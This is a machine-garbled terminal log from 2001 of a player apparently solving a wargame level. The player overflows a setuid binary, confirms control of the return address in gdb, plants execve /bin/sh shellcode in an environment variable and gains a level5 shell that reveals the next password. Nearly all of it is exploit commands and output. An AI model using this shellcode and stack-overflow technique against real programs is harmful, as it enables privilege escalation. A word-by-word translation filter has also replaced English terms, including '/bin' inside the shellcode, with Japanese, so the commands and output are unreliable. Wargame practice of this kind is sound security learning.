このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。

翻訳前ページへ


Script started on Mon Dec 24 08:04:10 2001
恐れる:0:level4$ telnet 切り開く/タクシー/不正アクセス.datafort.逮捕する 
Trying 213.132.58.103...
Connected to 切り開く/タクシー/不正アクセス.datafort.逮捕する.
Escape character is '^]'.

FreeBSD/i386 (badc0ded.datafort.逮捕する) (ttyp2)

login: level4
Password:
Last login: Tue Dec 18 22:35:43 from 61.37.177.27
Copyright (c) 1980, 1983, 1986, 1988, 1990, 1991, 1993, 1994
	The Regents of the University of California.  All 権利s reserved.

FreeBSD 4.4-RELEASE (GENERIC) #0: Tue Sep 18 11:57:08 PDT 2001


You have mail.
bash-2.05$ cd temp
bash-2.05$ /contest/level5
bash-2.05$ /contest/level5 AAAA
AAAAbash-2.05$ /contest/level5 AAAAAAAA
Segmentation fault
bash-2.05$ /contest/level5 `perl -e 'print "A" x 8'`
Segmentation fault
bash-2.05$ cp /contest/level5 .
bash-2.05$ ./level5 `perl -e 'print "A" x 8'`
Segmentation fault (核心 捨てるd)
bash-2.05$ gdb -q ./level5 level5.核心 
(no debugging symbols 設立する)...核心 was 生成するd by `level5'.
Program 終結させるd with signal 11, Segmentation fault.
Reading symbols from /usr/lib/libc.so.4...(no debugging symbols 設立する)...done.
Reading symbols from /usr/libexec/ld-elf.so.1...(no debugging symbols 設立する)...done.
#0  0x8048413 in _start ()
(gdb) 支援する
#0  0x8048413 in _start ()
Cannot 接近 memory at 演説(する)/住所 0x41414141.
(gdb) やめる
bash-2.05$ ./level5 `perl -e 'print "A" x 12'`
Segmentation fault (核心 捨てるd)
bash-2.05$ !gdb
gdb -q ./level5 level5.核心 
(no debugging symbols 設立する)...核心 was 生成するd by `level5'.
Program 終結させるd with signal 11, Segmentation fault.
Reading symbols from /usr/lib/libc.so.4...(no debugging symbols 設立する)...done.
Reading symbols from /usr/libexec/ld-elf.so.1...(no debugging symbols 設立する)...done.
#0  0x41414141 in ?? ()
(gdb) やめる
bash-2.05$ 輸出(する) EGG=`perl -e 'print "\x90" x 128 . "\x31\xc0\x50\x68//sh\x68/貯蔵所\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80"'`
bash-2.05$ gcc -o gs /tmp/getshit.c 
bash-2.05$ ./gs
bfbffce3
bash-2.05$ ./level5 `perl -e 'print "A" x 4 . "\xf0\xfc\xbf\xbf" x 2'`
$ id
uid=1004(level4) gid=1004(level4) groups=1004(level4)
$ 出口
bash-2.05$ /contest/level5 `perl -e 'print "A" x 4 . "\xf0\xfc\xbf\xbf" x 2'`
$ id
uid=1004(level4) euid=1005(level5) gid=1004(level4) groups=1004(level4)
$ pass
The password for level5 is opqrt42
$ 出口
bash-2.05$ 出口
関係 の近くにd by foreign host.
恐れる:0:level4$ 出口
Script done on Mon Dec 24 08:08:18 2001